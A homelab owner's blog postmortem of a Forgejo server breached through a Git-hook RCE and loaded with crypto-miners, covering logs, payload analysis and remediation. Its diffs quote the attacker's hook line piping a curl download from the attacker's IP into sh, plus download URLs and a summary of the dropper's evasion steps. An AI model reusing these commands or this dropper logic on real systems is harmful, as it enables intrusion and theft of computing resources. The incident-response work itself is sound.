Phunky Cafe

My Homelab Got Hacked - A Postmortem

Welp. My Forgejo instance got popped with an RCE two days ago by CVE-2026-60004. Luckily, I noticed the following morning and had the day free to figure out what happened. Let's dive in!

The Incident

I woke up on Saturday morning to several Pushover notifications from Komodo warning me that my server's CPU usage was quickly spiking to 95%, then dropping back to 80%. That machine has an i5-10600K that normally idles at ~4% usage. I checked Komodo and found that it'd been at a sustained 50% CPU usage since 9:00AM the day before; about 24 hours.

A screenshot of the server's CPU usage with a sudden, sustained jump from 4% to 50%, lasting for 24 hours.

I unfortunately did not get a screenshot, but the CPU usage of my Forgejo Docker container made it the obvious culprit. I logged in as the admin and quickly noticed a new user: testpoc26188. I thought I had disabled open sign-ups, but apparently I had not. This was my first mistake.

Looking at this user, they only had a single repo, poc-78614, with two files: a README that just said poc-78614, and a folder called hooks containing a shell script called post-index-change. At this point, I shut down Forgejo's Docker container, though I wish I had kept it paused for later investigation.

Based on the contents of post-index-change, I quickly found CVE-2026-60004, a recently-disclosed RCE vulnerability in Gitea, upon which Forgejo is based. It exploits a bug in Gitea's (and thus, Forgejo's) diffpatch endpoint, enabling the attacker to execute a malicious Git hook to obtain RCE. The CVE had already been patched in the latest releases of v15 LTS and v16, so why was I still vulnerable?

Now for my second mistake. For most containers, I use latest image tags which lets Komodo check for and notify me of available updates every night. Its yellow "update available" icons give my ADHD-ass an out of place reminder to read release notes and manually decide when to update. Unfortunately, Forgejo only offers versioned image tags, meaning no latest tag. I still had mine pinned to v13 which reached EOL 6 months ago in January, 2026. It would be nice to have a latest tag, but I understand why the Forgejo team would be hesitant to offer one. No hate of course, I still have mad respect for y'all. 🫶

The Nerdy Bits!

I ran build_hook("COMMAND", "LEAK_REF") from Gitea's published POC and diff'd it against the exploit on my server.

$ diff post-index-change generated-exploit 
10,14c10,13
< curl -s http://172.245.159.216 | sh &
< output_blob=$(id 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
< tree=$(printf "100644 blob %s\\tproof\\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
< commit=$(printf "rce proof\\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
< git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
---
> output_blob=$({ /bin/sh -c COMMAND; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
> tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
> commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6
> git --git-dir="$origin_git" update-ref LEAK_REF "$commit" || exit 7

They were nearly identical. The only differences were the details in the Git commit and tree variables(foreshadowing...), my placeholder COMMAND and LEAK_REF values, and the attacker's added curl back to their server's IP.

Speaking of their server's IP, it looks to be a server on RackNerd's infra. I curled the malicious IP and grabbed the payload: another shell script. This one was a heavily minified, lightly obfuscated 6-liner, with the longest line being 1063 characters. After formatting it with shfmt, it was still gross, but much more readable at 57 lines. This bit immediately stood out to me:

[ "$__a" = "x86_64" ] && __u="http://172.245.159.216/1"
[ "$__a" = "aarch64" ] && __u="http://172.245.159.216/2"
[ "$__a" = "amd64" ] && __u="http://172.245.159.216/3"

Smells like platform-specific binaries; these must be the real payloads. The second-stage script was still pretty unreadable overall though, so I had an LLM add comments throughout to explain what each chunk did.

Note: I know the LLM-use will (understandably) piss some people off. However, I would not have otherwise been able to understand this nigh-unreadable shell script. Rest-assured that AI was not used elsewhere in the writing of this post, and that I am not an AI-bro.

In short, the second-stage script:

  1. Attempts to kill processes with “guard” in the name (antivirus?).
  2. Kills processes using more than 80% of the CPU and disables their systemd entries.
  3. Determines a suitable download location between /tmp, HOME, and PWD.
  4. Determines the host's CPU architecture.
  5. Attempts to download the corresponding binary, with fallback methods including curl, wget, Python urllib, Perl HTTP:Tiny, a raw Perl HTTP request, and, when all else fails, a plain-old HTTP/1.0 GET request.
  6. Executes, then deletes the binary from the disk once it's safely running in memory.

Not bad! So, what about those binaries? What exactly is the goal of this whole thing? To find out, I threw them into VirusTotal.

Shocker: they are all known crypto-miners.

VirusTotal's pages on each of the three binaries. Out of 61 security vendors, from left to right: the x86 build was flagged by 26 vendors, aarch64 by 36, and amd64 by 36.

For those interested, here are the SHA-256 hashes of each binary.

# x86
0b8e037d160bdb0b621c975c424f680b814bc438fd492ae376ff3140e209e480

# aarch64
6a1f70ef89684037bb3d0536657f00a92fbbcdb9067195b060128a221df79df5

# amd64
ed23db197d907bdb6873c02b7222110321b0f859e329c420a6d0d6e50220308f

I couldn't find a wallet address for the miner to send crypto to in either of the shell scripts, so I assume it's hard-coded into the binaries. It's possible that the binaries coordinate with the attacker's server to get or create an address, but I didn't find any other unexplained calls to the attacker's server in my gateway's network logs. Unfortunately, I don't have the skills to decompile the binaries, nor do I have the time to learn at the moment, so this is as far as we'll go on this front.

The Logs

Seemingly, the primary IOC for this CVE is at least two calls to POST /api/v1/repos/USER/REPO/diffpatch. I filtered through my Pangolin logs and found an IP which hit that endpoint three times. I filtered the rest of the logs for that IP and found my smoking gun.

+-----------+---------------+------+--------------------------------------------------+
|timestamp  |ip             |method|path                                              |
+-----------+---------------+------+--------------------------------------------------+
|08:49:15 AM|107.172.180.205|POST  |/api/v1/repos/testpoc26188/poc-78614/diffpatch    |
|08:49:05 AM|107.172.180.205|POST  |/api/v1/repos/testpoc26188/poc-78614/diffpatch    |
|08:49:04 AM|107.172.180.205|POST  |/api/v1/repos/testpoc26188/poc-78614/diffpatch    |
|08:49:04 AM|107.172.180.205|GET   |/api/v1/repos/testpoc26188/poc-78614/branches/main|
|08:49:03 AM|107.172.180.205|POST  |/api/v1/user/repos                                |
|08:49:02 AM|107.172.180.205|GET   |/                                                 |
|08:49:02 AM|107.172.180.205|POST  |/user/sign_up                                     |
|08:49:02 AM|107.172.180.205|GET   |/user/sign_up                                     |
|08:04:20 AM|107.172.180.205|GET   |/assets/img/favicon.svg                           |
|08:04:08 AM|107.172.180.205|GET   |/                                                 |
+-----------+---------------+------+--------------------------------------------------+

The attacking IP, 107.172.180.205, looks to be a VPN server in Rancho Cucamonga - that's near Los AngelesDirect Reddit link. The attacker scanned my instance - presumably to check its version - then disappeared for 45 minutes. Then, in the span of 3 seconds, they signed up for an account, pushed the malicious repo, and triggered the exploit, with a third trigger 10 seconds later. This was definitely scripted.

Then, filtering through my gateway's logs, I found the outgoing requests from the second-stage script.

+--------------------------+-----------+---------------+------+-----------+-------+
|Timestamp                 |Src. Ip    |Dst. Ip        |Region|MB Received|MB Sent|
+--------------------------+-----------+---------------+------+-----------+-------+
|Aug 7, 2026 8:51:38.689 AM|192.168.0.2|172.245.159.216|US    |0.11       |6.43   |
|Aug 7, 2026 8:51:20.890 AM|192.168.0.2|172.245.159.216|US    |0          |0      |
|Aug 7, 2026 8:51:08.667 AM|192.168.0.2|172.245.159.216|US    |0.04       |3.23   |
+--------------------------+-----------+---------------+------+-----------+-------+

Two minutes after the exploit triggered, it looks like the second-stage script downloaded the payload. Notably, the 3.23MB and 6.43MB requests roughly line up with the x86 payload, weighing in at 3.2MB.

$ du -hd 0 payload_*
3.2M	payload_1-x86_64
7.5M	payload_2-aarch64
8.0M	payload_3-amd64

Because I was trigger-happy and destroyed Forgejo's Docker container so quickly, I could not investigate the infected container directly. Luckily though, I did not find any evidence in my gateway's network logs of a reverse shell, nor attempts at lateral movement. The host OS, my other containers, and the rest of the machines on my LAN all appear clean and are still behaving as expected.

A Match

During my research, I found a POC on GitHub whose chosen values for the tree and commit match mine to a T.

$ diff matching-github-poc post-index-change
12c10,11
< output_blob=$(CMD_PLACEHOLDER 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
---
> curl -s http://172.245.159.216` | sh &
> output_blob=$(id 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4

Even the Git commit values - the ones that didn't match Gitea's POC - match here. The only differences are the removal of CMD_PLACEHOLDER and the addition of a curl call to get and execute the second-stage script. It's pretty unlikely that the repo owner would accidentally use the same Git commit and tree values as my attacker, but it is a public repo, so anyone could have cloned and repurposed it.

The repo’s POC also has an accompanying Nuclei template which completely automates scanning, delivery, and execution of the exploit. Its steps match my incoming logs from Pangolin perfectly. At the very least, the attacker cloned this POC and Nuclei script.

Looking through the profile of the repo's owner, they have nearly 600 repos. Almost all of them are POCs and either customized forks of, or original tools for, vulnerability scanning and exploitation automation. The account was created in early 2022, predating the sloppening by just under a year. If this person didn't hack me, the person who did definitely copied this homework. I couldn't find their username elsewhere online, either.

This is all very far from conclusive, so to avoid a witch hunt, I won't be sharing further details here on the GitHub profile or repo.

Remediation

Just to be safe, I rolled back my Forgejo container to a pre-breach backup and thanked my past self for daily 3-2-1 backups (Duplicacy, ily). Additionally, I updated Forgejo to v16, disabled open signups, and disabled local auth. I already had Pocket ID connected as a sign-in option, but it now the only option.

I haven't had time to look into it yet, but I also want to limit outgoing LAN and WAN access on a per-container basis. For example, I'd like to restrict outgoing connections for Forgejo to just Pocket ID, or to block FreshRSS from accessing my LAN while preserving its access to WAN, while still allowing incoming connections from the host OS to their exposed ports.

If anyone has any ideas, my contact info is at the bottom of this page!

I might play with iptables for this, but I'm trying to K.I.S.S. (Keep It Simple, Stupid) in my homelab. My previous Proxmox-based setup with dozens of VMs, LXCs, and containers became too annoying to keep up with. I did the first chunk of this investigation from my phone in bed on a Saturday morning. The easier it is for me to do things like that, the better.

Closing Thoughts

At the end of this all, it was a fun, unexpected weekend project for me to exercise my (low-stakes, homelab) IR muscles. It could've been much worse, so I'm glad it was just a wake-up call, courtesy of a pretty harmless crypto-miner. The exploit automation was neat to see in the wild, too.

The lesson, as always: follow 3-2-1 backups, patch your shit, think twice before you expose your services publicly, and if you think you're immune to getting hacked, think again.

Catte says

#cybersecurity #homelab